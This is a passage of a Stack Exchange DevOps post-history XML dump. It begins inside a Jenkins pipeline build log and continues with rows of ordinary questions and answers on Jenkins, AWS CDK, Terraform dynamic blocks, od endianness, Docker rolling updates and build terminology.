message: &quot;simplify jenkinsfile&quot;&#xD;&#xA;    [Checks API] No suitable checks publisher found.&#xD;&#xA;    [Pipeline] withEnv&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] isUnix&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    + docker inspect -f . golang:latest&#xD;&#xA;    .&#xD;&#xA;    [Pipeline] withDockerContainer&#xD;&#xA;    Jenkins seems to be running inside container 3ff4f947dfec2937398c540976187282866705cfe05a4a98255e57566e43f6a9&#xD;&#xA;    $ docker run -t -d -u 1000:1000 -v $PWD/backend:/test -w /test -w /var/jenkins_home/workspace/FOLDER@2 --volumes-from 3ff4f947dfec2937398c540976187282866705cfe05a4a98255e57566e43f6a9 -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** golang:latest cat&#xD;&#xA;    $ docker top 69a4b1b98f0a3824bbcb785d9464f5450f4432a2458399e328214981f46e992d -eo pid,comm&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] withEnv&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] dir&#xD;&#xA;    Running in /var/jenkins_home/workspace/FOLDER@2/backend&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    + make install&#xD;&#xA;    go get &quot;github.com/julienschmidt/httprouter&quot;&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    + make build&#xD;&#xA;    go build -o ../server main.go&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // dir&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // withEnv&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    $ docker stop --time=1 69a4b1b98f0a3824bbcb785d9464f5450f4432a2458399e328214981f46e992d&#xD;&#xA;    $ docker rm -f 69a4b1b98f0a3824bbcb785d9464f5450f4432a2458399e328214981f46e992d&#xD;&#xA;    [Pipeline] // withDockerContainer&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // withEnv&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (Frontend)&#xD;&#xA;    [Pipeline] node&#xD;&#xA;    Running on Jenkins in /var/jenkins_home/workspace/FOLDER@2&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] checkout&#xD;&#xA;    The recommended git tool is: NONE&#xD;&#xA;    No credentials specified&#xD;&#xA;     &gt; git rev-parse --is-inside-work-tree # timeout=10&#xD;&#xA;    Fetching changes from the remote Git repository&#xD;&#xA;     &gt; git config remote.origin.url https://github.com/REPO # timeout=10&#xD;&#xA;    Fetching upstream changes from https://github.com/REPO&#xD;&#xA;     &gt; git --version # timeout=10&#xD;&#xA;     &gt; git --version # 'git version 2.11.0'&#xD;&#xA;     &gt; git fetch --tags --progress -- https://github.com/REPO +refs/heads/*:refs/remotes/origin/* # timeout=10&#xD;&#xA;    Seen branch in repository origin/master&#xD;&#xA;    Seen 1 remote branch&#xD;&#xA;     &gt; git show-ref --tags -d # timeout=10&#xD;&#xA;    Checking out Revision 385e449faf2f2316e308d9cc2de07725cfaf3582 (origin/master)&#xD;&#xA;     &gt; git config core.sparsecheckout # timeout=10&#xD;&#xA;     &gt; git checkout -f 385e449faf2f2316e308d9cc2de07725cfaf3582 # timeout=10&#xD;&#xA;    Commit message: &quot;simplify jenkinsfile&quot;&#xD;&#xA;    [Checks API] No suitable checks publisher found.&#xD;&#xA;    [Pipeline] withEnv&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] isUnix&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    + docker inspect -f . node:latest&#xD;&#xA;    .&#xD;&#xA;    [Pipeline] withDockerContainer&#xD;&#xA;    Jenkins seems to be running inside container 3ff4f947dfec2937398c540976187282866705cfe05a4a98255e57566e43f6a9&#xD;&#xA;    $ docker run -t -d -u 1000:1000 -w /var/jenkins_home/workspace/FOLDER@2 --volumes-from 3ff4f947dfec2937398c540976187282866705cfe05a4a98255e57566e43f6a9 -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** -e ******** node:latest cat&#xD;&#xA;    $ docker top ce7b3a6c0e4a3a511bcf52e10262618b8c095060bd42f155977f31374cb7dee7 -eo pid,comm&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] dir&#xD;&#xA;    Running in /var/jenkins_home/workspace/FOLDER@2/frontend&#xD;&#xA;    [Pipeline] {&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    + make install&#xD;&#xA;    yarn install&#xD;&#xA;    yarn install v1.22.5&#xD;&#xA;    warning package.json: No license field&#xD;&#xA;    warning new@1.0.0: No license field&#xD;&#xA;    [1/4] Resolving packages...&#xD;&#xA;    success Already up-to-date.&#xD;&#xA;    Done in 0.84s.&#xD;&#xA;    [Pipeline] sh&#xD;&#xA;    + make build&#xD;&#xA;    make: 'build' is up to date.&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // dir&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    $ docker stop --time=1 ce7b3a6c0e4a3a511bcf52e10262618b8c095060bd42f155977f31374cb7dee7&#xD;&#xA;    $ docker rm -f ce7b3a6c0e4a3a511bcf52e10262618b8c095060bd42f155977f31374cb7dee7&#xD;&#xA;    [Pipeline] // withDockerContainer&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // withEnv&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] stage&#xD;&#xA;    [Pipeline] { (Declarative: Post Actions)&#xD;&#xA;    [Pipeline] step&#xD;&#xA;    Zipping files into /tmp/#2-8971329807001316273.zip&#xD;&#xA;    // deleting some aws account info that displays&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // stage&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // withEnv&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] End of Pipeline&#xD;&#xA;    [Checks API] No suitable checks publisher found.&#xD;&#xA;    Finished: SUCCESS" ContentLicense="CC BY-SA 4.0" />
  <row Id="38890" PostHistoryTypeId="1" PostId="12662" RevisionGUID="b42c41a6-5af6-4d9e-b0df-b37474a5d9a8" CreationDate="2020-10-30T01:22:07.477" UserId="24255" Text="Jenkins multi-agent build switching directories behind the scenes preventing AWS CodeDeploy plugin from zipping built files" ContentLicense="CC BY-SA 4.0" />
  <row Id="38891" PostHistoryTypeId="3" PostId="12662" RevisionGUID="b42c41a6-5af6-4d9e-b0df-b37474a5d9a8" CreationDate="2020-10-30T01:22:07.477" UserId="24255" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;aws-codedeploy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38892" PostHistoryTypeId="2" PostId="12663" RevisionGUID="0f24c7da-5d81-43fd-92d3-bcdb9c87bfbb" CreationDate="2020-10-30T01:43:48.190" UserId="24255" Text="Got it! `reuseNode` needs to be set true for each docker agent:&#xD;&#xA;&#xD;&#xA;           agent { docker { &#xD;&#xA;                image 'golang:latest' &#xD;&#xA;                reuseNode true&#xD;&#xA;            } }&#xD;&#xA;&#xD;&#xA;Wish that didn't take a couple hours to learn but que sera sera" ContentLicense="CC BY-SA 4.0" />
  <row Id="38893" PostHistoryTypeId="2" PostId="12664" RevisionGUID="ccd7ce57-15db-467a-92bb-7e2ed57f3974" CreationDate="2020-10-30T09:53:22.830" UserId="12978" Text="Since this is for your learning, it shouldn't tax your hardware incredibly. If you are hosting I would with a free student account if you can. But if you have a linux laptop all of this should work well on it. You're not writing apps that are getting 10,000's of connections and transforming complex data. If you had an enterprise app I would indeed split off the DB from the frontend etc. " ContentLicense="CC BY-SA 4.0" />
  <row Id="38894" PostHistoryTypeId="2" PostId="12665" RevisionGUID="62452b6f-8621-4889-a902-cd6e4e7735d3" CreationDate="2020-10-30T10:30:34.733" UserId="707" Text="Since I've seen Hashicorp Terraform, I have been wondering why the &quot;plan&quot; it can export has binary format.&#xD;&#xA;&#xD;&#xA;Now in the AWS world you have got CloudFormation which can be abstracted from using AWS CDK (Cloud Development Kit) in a common programming language of your choice.&#xD;&#xA;&#xD;&#xA;Therefore my question: imagine somebody familiar with CloudFormation would like to see what CDK code will do. Is there a way to export a CloudFormation file using CDK?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38895" PostHistoryTypeId="1" PostId="12665" RevisionGUID="62452b6f-8621-4889-a902-cd6e4e7735d3" CreationDate="2020-10-30T10:30:34.733" UserId="707" Text="Export CloudFormation file from CDK" ContentLicense="CC BY-SA 4.0" />
  <row Id="38896" PostHistoryTypeId="3" PostId="12665" RevisionGUID="62452b6f-8621-4889-a902-cd6e4e7735d3" CreationDate="2020-10-30T10:30:34.733" UserId="707" Text="&lt;amazon-web-services&gt;&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38897" PostHistoryTypeId="2" PostId="12666" RevisionGUID="c3cb592f-c6fe-4abe-9e5a-b4d7dd0fb543" CreationDate="2020-10-30T10:31:32.633" UserId="707" Text="Yes: in the [hello world CDK example][1], they call it &quot;synthesizing&quot;:&#xD;&#xA;&#xD;&#xA;```cdk synth```&#xD;&#xA;&#xD;&#xA;^^ produces CloudFormation file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/cdk/latest/guide/hello_world.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="38898" PostHistoryTypeId="5" PostId="12665" RevisionGUID="76fe602a-7cdc-456e-9bfc-7e53077a1b45" CreationDate="2020-10-30T10:32:56.473" UserId="707" Comment="added 44 characters in body" Text="Since I've seen Hashicorp Terraform, I have been wondering why the &quot;plan&quot; it can export has binary format.&#xD;&#xA;&#xD;&#xA;Now in the AWS world you have got a declarative configuration language called CloudFormation which can be abstracted from using AWS CDK (Cloud Development Kit) in a common programming language of your choice.&#xD;&#xA;&#xD;&#xA;Therefore my question: imagine somebody familiar with CloudFormation would like to see what CDK code will do. Is there a way to export a CloudFormation file using CDK?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38899" PostHistoryTypeId="2" PostId="12667" RevisionGUID="0fefb27c-3d56-4230-bc53-3a49c96baa94" CreationDate="2020-10-30T13:03:44.437" UserId="24520" Text="The term is used everywhere, yet I searched both google.com and qwant.com to no avail. That baffles my mind.&#xD;&#xA;&#xD;&#xA;I also searched for a developer terminology index, if anyone has a good link?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38900" PostHistoryTypeId="1" PostId="12667" RevisionGUID="0fefb27c-3d56-4230-bc53-3a49c96baa94" CreationDate="2020-10-30T13:03:44.437" UserId="24520" Text="What does &quot;build step&quot; mean?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38901" PostHistoryTypeId="3" PostId="12667" RevisionGUID="0fefb27c-3d56-4230-bc53-3a49c96baa94" CreationDate="2020-10-30T13:03:44.437" UserId="24520" Text="&lt;software-engineering&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38902" PostHistoryTypeId="2" PostId="12668" RevisionGUID="94fc3c9a-3628-48d2-bf4e-19a8cd7f1c52" CreationDate="2020-10-30T14:17:52.173" UserId="24523" Text="This isn't a deploy related question, but I believe it belongs here.&#xD;&#xA;&#xD;&#xA;I've found out about the `od` tool yesterday, and began to fiddle with it.&#xD;&#xA;&#xD;&#xA;The question is about `utf-8` encoding. See the examples:&#xD;&#xA;&#xD;&#xA;    ~ $ echo -n á | od -x&#xD;&#xA;    0000000 a1c3&#xD;&#xA;    0000002&#xD;&#xA;    ~ $ echo -n áá | od -x&#xD;&#xA;    0000000 a1c3 a1c3&#xD;&#xA;    0000004&#xD;&#xA;    ~ $ echo -n ác | od -x&#xD;&#xA;    0000000 a1c3 0063&#xD;&#xA;    0000003&#xD;&#xA;&#xD;&#xA;    # This is the issue&#xD;&#xA;    ~ $ echo -n cá | od -x&#xD;&#xA;    0000000 c363 00a1&#xD;&#xA;    0000003&#xD;&#xA;&#xD;&#xA;So `á` translates to `c3 a1` correctly in each test besides the last, which begins with an `ascii` char. Why isn't the output of the last test `0063 a1c3` (i.e. invert the one before the last) ?&#xD;&#xA;&#xD;&#xA;I've tried to read from a `utf-8` file and the result is the same. &#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="38903" PostHistoryTypeId="1" PostId="12668" RevisionGUID="94fc3c9a-3628-48d2-bf4e-19a8cd7f1c52" CreationDate="2020-10-30T14:17:52.173" UserId="24523" Text="od output is confusing" ContentLicense="CC BY-SA 4.0" />
  <row Id="38904" PostHistoryTypeId="3" PostId="12668" RevisionGUID="94fc3c9a-3628-48d2-bf4e-19a8cd7f1c52" CreationDate="2020-10-30T14:17:52.173" UserId="24523" Text="&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38905" PostHistoryTypeId="2" PostId="12669" RevisionGUID="84cd9d04-3d0a-46d9-8b89-3ab07b37dd31" CreationDate="2020-10-30T15:17:38.890" UserId="24297" Text="In my experience &quot;build step&quot; is synonymous with &quot;compilation&quot;, e.g. it's the step that builds a set of output files (binary, etc.). " ContentLicense="CC BY-SA 4.0" />
  <row Id="38906" PostHistoryTypeId="2" PostId="12670" RevisionGUID="870a42bc-def6-4992-946c-2b34898c5a8a" CreationDate="2020-10-30T15:22:32.960" UserId="24297" Text="I believe both options are viable routes, but my preference is for **Option 1** as I like having the &quot;deploy plan&quot; to be only concerned with starting a container using the built image." ContentLicense="CC BY-SA 4.0" />
  <row Id="38907" PostHistoryTypeId="2" PostId="12671" RevisionGUID="3ed84bfa-3b74-4f03-88e3-0b3a63a09caf" CreationDate="2020-10-30T15:32:27.813" UserId="24297" Text="If you're just migrating I'd also recommend using `helm`.&#xD;&#xA;&#xD;&#xA;When using `helm` create the chart definition within the source code repository of the application, https://helm.sh/docs/helm/helm_create/.&#xD;&#xA;&#xD;&#xA;With an increasing number of services it can become harder and harder to manage so people have started to embrace a &quot;monorepo&quot; that contains a definition of the all the `helm charts` they currently have deployed and their respective versions. This way you can easily track when a version of service A was bumped and when a version of service B was bumped. https://www.infracloud.io/blogs/monorepo-ci-cd-helm-kubernetes/&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38908" PostHistoryTypeId="5" PostId="1902" RevisionGUID="a67711a7-3fe4-4ae2-b32c-eb75728394d2" CreationDate="2020-10-30T15:41:57.723" UserId="2845" Comment="added 28 characters in body" Text="DevOps isn't just a *different* way of doing things, it is a *better* way of doing things. Perhaps it will help me to make my point if I rephrase the question in a different context - the context of the industrial age, the railroad and the steam hammer:&#xD;&#xA;&#xD;&#xA;&gt;Does a railroad company need Steam Hammers if it already lays track at an acceptable speed?&#xD;&#xA;&gt;-----------------------------------&#xD;&#xA;&#xD;&#xA;&gt;I mean, steam hammers from the business view are about speed and quality, right?&#xD;&#xA;&gt;&#xD;&#xA;&gt;What does it mean for a construction company contracting for the railroad that is laying track &quot;fast enough&quot; for their customers without steam hammers? Which of these might apply?&#xD;&#xA;&gt;&#xD;&#xA;&gt; 1. They lay track at a sufficient level, no change is required&#xD;&#xA;&gt;&#xD;&#xA;&gt; 2. They use steam hammers but don't know it or call the steam hammer something else&#xD;&#xA;&gt;&#xD;&#xA;&gt; 3. They use something totally different and better than a steam hammer and we really should find out what it is (before it is too late)&#xD;&#xA;&gt;&#xD;&#xA;&gt; 4. They are awfully wrong: their speed and quality are below their knowledge and they will know it when they begin to lose bids to other contractors.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The answer is obviously probably #4. This hypothetical company may not see the problem with the next financial report - perhaps it will take a few years - but eventually it will become clear how and why competitors outperform businesses still manually &quot;laying track&quot; as it were. Sure, it's possible they have come up with a diesel powered hammer that is more efficient and less prone to malfunction or breakdowns, but not likely.&#xD;&#xA;&#xD;&#xA;Thinking that they can outperform the steam hammer is going to get this company left behind. Sure, an individual group may have their steam hammer blow up and fall apart and perhaps that one group has such trouble with their steam hammer that it would have been more efficient in *that one case* to do things the old fashioned way, but they are the exception to the rule and the problem likely was that their steam hammer was poorly built and/or poorly maintained.&#xD;&#xA;&#xD;&#xA;The industrial age is coming and the railroad company can either check out the competition and then try to get their own steam hammers, or get left behind and eventually succumb to their irrelevance and antiquity.&#xD;&#xA;&#xD;&#xA;DevOps is no different. It's just another iteration of automation that companies can either embrace or ignore at their own peril much like the steam hammer." ContentLicense="CC BY-SA 4.0" />
  <row Id="38909" PostHistoryTypeId="2" PostId="12672" RevisionGUID="39610a6f-1c61-4b87-a383-b2900ce25f3e" CreationDate="2020-10-30T17:55:12.707" UserId="12978" Text="This gives a good overview, in my experience, build steps seem synonymous with deployment steps not just compiling code. &#xD;&#xA;&#xD;&#xA;https://docs.platform.sh/overview/build-deploy.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="38910" PostHistoryTypeId="2" PostId="12673" RevisionGUID="f576d9ba-1497-4048-8e4c-ac8d998b5875" CreationDate="2020-10-30T19:36:17.087" UserId="18637" Text="I'm creating a AWS Cloudfront module and some troubles are happening because have some Cloudfront parameters that are &quot;dynamics/optional&quot; too.&#xD;&#xA;&#xD;&#xA;When I'm trying run the `$ terraform validate` show me the error:&#xD;&#xA;&#xD;&#xA;    on ../../../../../terraform-aws-modules/cloudfront_distribution/main.tf line 24, in resource &quot;aws_cloudfront_distribution&quot; &quot;cdn&quot;:&#xD;&#xA;      24:   dynamic &quot;custom_origin_config&quot; {&#xD;&#xA;    &#xD;&#xA;    Blocks of type &quot;custom_origin_config&quot; are not expected here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Following my **module** `main.tf`:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_cloudfront_distribution&quot; &quot;cdn&quot; {&#xD;&#xA;    &#xD;&#xA;      enabled               = var.enabled&#xD;&#xA;      comment               = var.comment&#xD;&#xA;      default_root_object   = var.default_root_object&#xD;&#xA;      aliases               = var.aliases&#xD;&#xA;      is_ipv6_enabled       = var.is_ipv6_enabled&#xD;&#xA;      http_version          = var.http_version&#xD;&#xA;      price_class           = var.price_class&#xD;&#xA;      web_acl_id            = var.web_acl_id&#xD;&#xA;      retain_on_delete      = var.retain_on_delete&#xD;&#xA;      wait_for_deployment   = var.wait_for_deployment&#xD;&#xA;    &#xD;&#xA;      dynamic &quot;origin&quot; {&#xD;&#xA;        for_each  = var.origin&#xD;&#xA;        content {&#xD;&#xA;    &#xD;&#xA;          domain_name   = origin.value.domain_name&#xD;&#xA;          origin_id     = origin.value.origin_id&#xD;&#xA;          origin_path   = origin.value.origin_path&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      dynamic &quot;custom_origin_config&quot; {&#xD;&#xA;        for_each  = var.custom_origin_config&#xD;&#xA;        content {&#xD;&#xA;          &#xD;&#xA;          http_port                 = custom_origin_config.value.http_port&#xD;&#xA;          https_port                = custom_origin_config.value.https_port&#xD;&#xA;          origin_protocol_policy    = custom_origin_config.value.origin_protocol_policy&#xD;&#xA;          origin_ssl_protocols      = custom_origin_config.value.origin_ssl_protocols&#xD;&#xA;          origin_keepalive_timeout  = custom_origin_config.value.origin_keepalive_timeout&#xD;&#xA;          origin_read_timeout       = custom_origin_config.value.origin_read_timeout&#xD;&#xA;    &#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My `vars.tf` :&#xD;&#xA;&#xD;&#xA;    variable &quot;origin&quot;   {&#xD;&#xA;        type        = any&#xD;&#xA;        default     = []&#xD;&#xA;        description = &quot;One or more origins for this distribution (multiples allowed).&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    variable &quot;custom_origin_config&quot; {&#xD;&#xA;        type        = any&#xD;&#xA;        default     = []&#xD;&#xA;        description = &quot;The CloudFront custom origin configuration information. If an S3 origin is required, use s3_origin_config instead.&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Someone has been through this problem, managed to solve it?**&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38911" PostHistoryTypeId="1" PostId="12673" RevisionGUID="f576d9ba-1497-4048-8e4c-ac8d998b5875" CreationDate="2020-10-30T19:36:17.087" UserId="18637" Text="Terraform Dynamic Block with list intro them" ContentLicense="CC BY-SA 4.0" />
  <row Id="38912" PostHistoryTypeId="3" PostId="12673" RevisionGUID="f576d9ba-1497-4048-8e4c-ac8d998b5875" CreationDate="2020-10-30T19:36:17.087" UserId="18637" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;terraform-module&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38913" PostHistoryTypeId="2" PostId="12674" RevisionGUID="4f4eb18b-6e02-483e-86fb-9ee6d3f88ddb" CreationDate="2020-10-30T20:43:48.347" UserId="40" Text="With all respect, but the previous 2 answers appear to me like misleading ...&#xD;&#xA;&#xD;&#xA;In the big iron world, aka mainframe, the build step is often, though not always, a process that consists of at least 2 steps:&#xD;&#xA;&#xD;&#xA;- step 1 uses a program source, coded by a developer in whatever programming language (cobol, c, fortran, pl1, assembler, etc) as input, and then transforms that input in an object deck (which is not yet an executable ...). That transformation is typically done by a program called a &quot;compiler&quot; (each program language can have a zillion versions of such compiler, for cobol there is Cobol vs, cobol le, cobol 2, and what not).&#xD;&#xA;&#xD;&#xA;- step 2 then uses the object deck (output from step1), to transform it into an executable program, e.g by staticically linking (called) sub-programs into it also. That transformation is typically done by a program called a &quot;linker&quot;.&#xD;&#xA;&#xD;&#xA;The complete set of compile-steps and link-steps is often bundled together in some sort of script (procedure), which in mainframe is often done via JCL (if compile/link is done in batch), or (eg) REXX (if compile/link is done online). And this script is actually what is called a &quot;***build procedure***&quot;.&#xD;&#xA;&#xD;&#xA;With the above in mind, go checkout any other OS where you also have compiles, links, etc. Sooner or later, you'll recognize similar compilers and linkers." ContentLicense="CC BY-SA 4.0" />
  <row Id="38914" PostHistoryTypeId="2" PostId="12675" RevisionGUID="751e52e2-80e9-413d-8f38-b2c61218cbb2" CreationDate="2020-10-30T20:53:57.777" UserId="16683" Text="Docker itself does not provide such rolling update feature. You have to do it by hand which is not an easy task. Even if you want to use a one node Swarm cluster, the scheduler does have downtime.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;The scheduler applies rolling updates as follows by default:&#xD;&#xA;&#xD;&#xA;Stop the first task.&#xD;&#xA;Schedule update for the stopped task.&#xD;&#xA;Start the container for the updated task.&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If you only have one machine, you can try something like [k3s](https://k3s.io), which is a lightweight Kubernetes distribution. You'll be able to use a Deployment, a Kubernetes object, which provide zero downtime rolling update feature." ContentLicense="CC BY-SA 4.0" />
  <row Id="38915" PostHistoryTypeId="5" PostId="12674" RevisionGUID="1318802d-47fa-443c-8254-f1695b645fcd" CreationDate="2020-10-30T20:59:46.940" UserId="40" Comment="added 817 characters in body" Text="With all respect, but the previous 2 answers appear to me like misleading ...&#xD;&#xA;&#xD;&#xA;In the big iron world, aka mainframe, the build step is often, though not always, a process that consists of at least 2 steps:&#xD;&#xA;&#xD;&#xA;- step 1 uses a program source, coded by a developer in whatever programming language (cobol, c, fortran, pl1, assembler, etc) as input, and then transforms that input in an object deck (which is not yet an executable ...). That transformation is typically done by a program called a &quot;compiler&quot; (each program language can have a zillion versions of such compiler, for cobol there is cobol vs, cobol le, cobol 2, and what not).&#xD;&#xA;&#xD;&#xA;- step 2 then uses the object deck (output from step1), to transform it into an executable program, e.g by staticically linking (called) sub-programs into it also. That transformation is typically done by a program called a &quot;linker&quot;.&#xD;&#xA;&#xD;&#xA;The complete set of compile-steps and link-steps is often bundled together in some sort of script (procedure), which in mainframe is often done via JCL (if compile/link is done in batch), or (eg) REXX (if compile/link is done online). And this script is actually what is called a &quot;***build procedure***&quot;.&#xD;&#xA;&#xD;&#xA;With the above in mind, go checkout any other OS where you also have compiles, links, etc. Sooner or later, you'll recognize similar compilers and linkers.&#xD;&#xA;&#xD;&#xA;Attention: the result of such build procedure (an executable) is typically stored in some sort of work area (like a temp folder). And from there it still needs to be shipped (copied, FTPed, whatever) to somewhere else (e.g. an authorized folder or library), before it can actually be used to execute the executable (e.g. after appropriate approvals for an emergency fix have been gathered). That shipment process is what deployment of an executable is all about (as compared to building the executable).&#xD;&#xA;&#xD;&#xA;And better not use that deployment target directly as output of your build procedure (if you do that, you basically open up your life environments to ... pretty much any developer, which is not what you want if you are a bank, or if your fixing some piece of software in a plane ... flying at 30.000 feet)." ContentLicense="CC BY-SA 4.0" />
  <row Id="38916" PostHistoryTypeId="34" PostId="12611" RevisionGUID="18f51f63-1d54-43f6-bd0b-e28f06df1499" CreationDate="2020-10-31T01:00:15.020" UserId="-1" Comment="63" />
  <row Id="38917" PostHistoryTypeId="2" PostId="12676" RevisionGUID="f007c520-3a24-426f-a191-b04eb1b71249" CreationDate="2020-10-31T03:04:26.717" UserId="24523" Text="Problem solved:&#xD;&#xA;&#xD;&#xA;It's because of endianess of output. &#xD;&#xA;&#xD;&#xA;There is an option `--endian` which by default is `little`.&#xD;&#xA;&#xD;&#xA;The example string was `cá`, which translates to `63 C3 A1` `utf-8` encoded:&#xD;&#xA;&#xD;&#xA;    ~ $ echo -n cá | od --endian=big -x&#xD;&#xA;    0000000 63c3 a100&#xD;&#xA;    0000003&#xD;&#xA;&#xD;&#xA;(The `-n` prevents `\n` in the end of string, making last byte `00`)&#xD;&#xA;&#xD;&#xA;So it's exactly the same output, but with bytes inverted:&#xD;&#xA;&#xD;&#xA;    ~ $ echo -n cá | od --endian=little -x&#xD;&#xA;    0000000 c363 00a1&#xD;&#xA;    0000003&#xD;&#xA;&#xD;&#xA;(`c363` instead of `63c3` and so forth)." ContentLicense="CC BY-SA 4.0" />
  <row Id="38918" PostHistoryTypeId="2" PostId="12677" RevisionGUID="185a2ceb-fe93-4ca1-946f-74bac6991ba0" CreationDate="2020-10-31T15:46:11.887" UserId="9938" Text="Jenkins version is 2.235.5 (I should update it to next LTS version 2.249).&#xD;&#xA;&#xD;&#xA;I configured Jenkins to run a job periodically every 30 days: Build Triggers → Build periodically → Schedule:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;H 3 */30 * *&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And now I see:&#xD;&#xA;&#xD;&#xA;&gt; Would last have run at Saturday, October 31, 2020 3:20:39 AM EDT; would next run at Sunday, November 1, 2020 3:20:39 AM EST.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[![Jenkins Build Triggers → Build periodically → Schedule][1]][1]&#xD;&#xA;&#xD;&#xA;So it will be started again after 1 day, not 30 days…&#xD;&#xA;&#xD;&#xA;How to run a job periodically every 30 days?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/fzC5U.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="38919" PostHistoryTypeId="1" PostId="12677" RevisionGUID="185a2ceb-fe93-4ca1-946f-74bac6991ba0" CreationDate="2020-10-31T15:46:11.887" UserId="9938" Text="Jenkins: how to run task every 30 days" ContentLicense="CC BY-SA 4.0" />
  <row Id="38920" PostHistoryTypeId="3" PostId="12677" RevisionGUID="185a2ceb-fe93-4ca1-946f-74bac6991ba0" CreationDate="2020-10-31T15:46:11.887" UserId="9938" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="38921" PostHistoryTypeId="5" PostId="12667" RevisionGUID="0ef19cb1-b828-44a4-9140-af48e973f9d2" CreationDate="2020-10-31T17:10:55.130" UserId="40" Comment="added 34 characters in body; edited tags; edited tags" Text="The term ***build step*** is used everywhere, yet I searched both google.com and qwant.com to no avail. That baffles my mind.&#xD;&#xA;&#xD;&#xA;I also searched for a developer terminology index. Anyone has a good explanation of this term?" ContentLicense="CC BY-SA 4.0" />
  <row Id="38922" PostHistoryTypeId="6" PostId="12667" RevisionGUID="0ef19cb1-b828-44a4-9140-af48e973f9d2" CreationDate="2020-10-31T17:10:55.130" UserId="40" Comment="added 34 characters in body; edited tags; edited tags" Text="&lt;terminology&gt;&lt;builds&gt;&lt;software-engineering&gt;" ContentLicense="CC BY-SA 4.0" />
